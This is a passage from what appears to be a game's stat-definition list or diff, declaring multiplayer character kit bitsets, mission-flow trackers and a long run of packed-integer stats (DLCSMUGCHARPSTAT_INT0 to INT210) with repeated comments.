Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)CHAR_KIT_30_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_30_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 13 +(int)CHAR_KIT_30_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_FM_PURCHASE30 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)CHAR_KIT_31_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_31_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 13 +(int)CHAR_KIT_31_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_FM_PURCHASE31 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)CHAR_KIT_32_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_32_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 13 +(int)CHAR_KIT_32_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_FM_PURCHASE32 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)CHAR_KIT_33_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_33_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 13 +(int)CHAR_KIT_33_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_FM_PURCHASE33 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)GANGOPS_FLOW_MISSION_PROG // Add MP0_ or MP1_ // i.e. flow process +(int)GANGOPS_FLOW_IMPEXP_NUM // Add MP0_ or MP1_ // i.e. flow process +(int)GANGOPS_FLOW_BITSET_MISS0 // Add MP0_ or MP1_ // i.e. flow process +(int)WAM_FLOW_VEHICLE_BS // Add MP0_ or MP1_ // flow tracker for discounted veh + +(packed)DLCSMUGCHARPSTAT_BOOL0 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. + +(packed)DLCSMUGCHARPSTAT_INT0 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT1 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT2 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT3 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT4 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT5 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT6 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT7 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT8 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT9 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT10 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT11 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT12 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT13 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT14 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT15 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT16 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT17 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT18 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT19 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT20 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT21 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT22 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT23 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT24 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT25 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT26 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT27 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT28 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT29 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT30 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT31 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT32 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT33 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT34 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT35 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT36 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT37 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT38 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT39 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT40 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT41 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT42 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT43 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT44 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT45 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT46 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT47 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT48 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT49 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT50 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT51 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT52 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT53 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT54 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT55 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT56 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT57 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT58 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT59 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT60 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT61 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT62 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT63 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT64 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT65 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT66 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT67 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT68 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT69 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT70 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT71 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT72 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT73 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT74 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT75 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT76 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT77 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT78 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT79 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT80 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT81 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT82 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT83 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT84 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT85 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT86 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT87 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT88 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT89 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT90 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT91 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT92 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT93 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT94 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT95 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT96 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT97 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT98 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT99 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT100 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT101 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT102 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT103 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT104 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT105 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT106 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT107 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT108 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT109 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT110 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT111 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT112 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT113 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT114 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT115 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT116 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT117 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT118 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT119 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT120 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT121 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT122 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT123 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT124 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT125 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT126 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT127 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT128 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT129 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT130 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT131 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT132 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT133 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT134 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT135 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT136 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT137 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT138 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT139 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT140 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT141 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT142 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT143 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT144 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT145 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT146 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT147 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT148 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT149 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT150 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT151 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT152 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT153 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT154 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT155 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT156 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT157 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT158 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT159 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT160 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT161 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT162 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT163 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT164 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT165 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT166 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT167 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT168 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT169 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT170 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT171 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT172 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT173 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT174 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT175 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT176 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT177 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT178 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT179 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT180 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT181 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT182 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT183 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT184 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT185 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT186 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT187 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT188 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT189 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT190 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT191 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT192 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT193 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT194 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT195 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT196 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT197 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT198 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT199 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT200 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT201 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT202 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT203 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT204 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT205 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT206 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT207 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT208 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT209 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT210 // Add MP0_ or MP1_ // Character Stat 